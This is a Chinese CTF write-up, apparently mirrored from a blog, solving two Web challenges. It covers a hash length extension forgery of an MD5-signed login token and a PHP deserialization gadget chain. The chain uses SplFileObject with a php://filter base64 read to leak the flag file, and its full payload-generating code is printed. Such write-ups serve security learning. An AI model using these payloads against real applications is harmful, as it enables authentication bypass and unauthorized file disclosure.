当前位置: 首页 > news >正文

【Web】CCF智能汽车大赛-CTF遴选赛 wp

非常好的比赛,使我来不及交wp

目录

easylogin

serp


easylogin

访问/?source=1拿到源码

一眼哈希长度拓展攻击,参考奇安信攻防社区-深入浅出-Hash长度拓展攻击

从现有token:token=Z3Vlc3Q%3D.d08a46b7bc97a61a39efc7aa2d9b324b

得知guest+13位salt值的md5值为d08a46b7bc97a61a39efc7aa2d9b324b,共18位

基于此,进行哈希长度拓展攻击

在得到的值前拼接上guest的hash值,再base64编码

serp

dirsearch扫到.git泄露

GitHack拿源码

搓链子

<?php
class Post {public $title;public $content;public function __construct($title, $content) {$this->title = $title;$this->content = $content;}public function __toString() {return $this->title . "/" . $this->content;}
}
class Maker {public $model = "Post";public $args = ["Title", "Contents"];protected $obj = null;public function __construct($model, $args){$this->model = $model;$this->args = $args;}public function getInstance() {if($this->obj == null) {$this->obj = new $this->model(...$this->args);}return $this->obj;}public function __toString() {return "object(". $this->model ."){" . strval($this->getInstance()) . "}";}public function __destruct() {$this->obj = null;}
}$p = [0=>"test",// 1=>"test2"1=>new Maker("SplFileObject",["php://filter/convert.base64-encode/resource=f1a9.php"])
];
if($p){$post = (new Maker("Post", $p))->getInstance();$posts[] = $post;$a=serialize($posts);echo urlencode($a)."\n";    echo unserialize($a)[0]->content;   
}

打入,拿到flag

http://www.lryc.cn/news/608187.html

相关文章:

  • LVGL代码框架简介
  • 苹果MAC 安卓模拟器
  • 计算机网络:任播和负载均衡的区别
  • 【QT】Qt信号与槽机制详解信号和槽的本质自定义信号和槽带参数的信号和槽
  • 【Python修仙编程】(二) Python3灵源初探(11)
  • linux中pthread_t 的值与top -Hp中线程id值的区别
  • 知识随记-----用 Qt 打造优雅的密码输入框:添加右侧眼睛图标切换显示
  • Autosar Nm-网管报文PNC停发后无法休眠问题排查
  • Antlr4在Windows环境下的配置
  • 涉水救援机器人cad【12张】三维图+设计书明说
  • Vue 服务端渲染 Nuxt 使用详解
  • AI Agent开发学习系列 - LangGraph(6): 有多个节点的Sequential Graph(练习解答)
  • 深入理解C++中的Lazy Evaluation:延迟计算的艺术
  • LangGraph认知篇-Command函数
  • UDP通信中BIND端口号的作用解析,LOCALPORT的关系解析
  • 搜索与图论(最小生成树 二分图)
  • 【Django】-5- ORM的其他用法
  • 企业级单点登录(SSO)技术详解:从原理到安全实践
  • 前端与后端部署大冒险:Java、Go、C++三剑客
  • ARM Cortex-M异常处理高级特性详解
  • 集成电路学习:什么是HAL硬件抽象层
  • 【DL学习笔记】计算图与自动求导
  • 紧急救援!Oracle RAC节点驱逐元凶:私网Packet Reassembles Failed“包重组失败”一招救命
  • linux ssh公钥移除办法
  • MySQL PostgreSQL JDBC URL 配置允许批量操作
  • SM2国密算法的大数运算原理详解
  • 牛客 - 旋转数组的最小数字
  • 【PCL点云库:下】
  • 详解Python标准库之互联网数据处理
  • 一个物理引擎仿真器(mujoco这种)的计算流程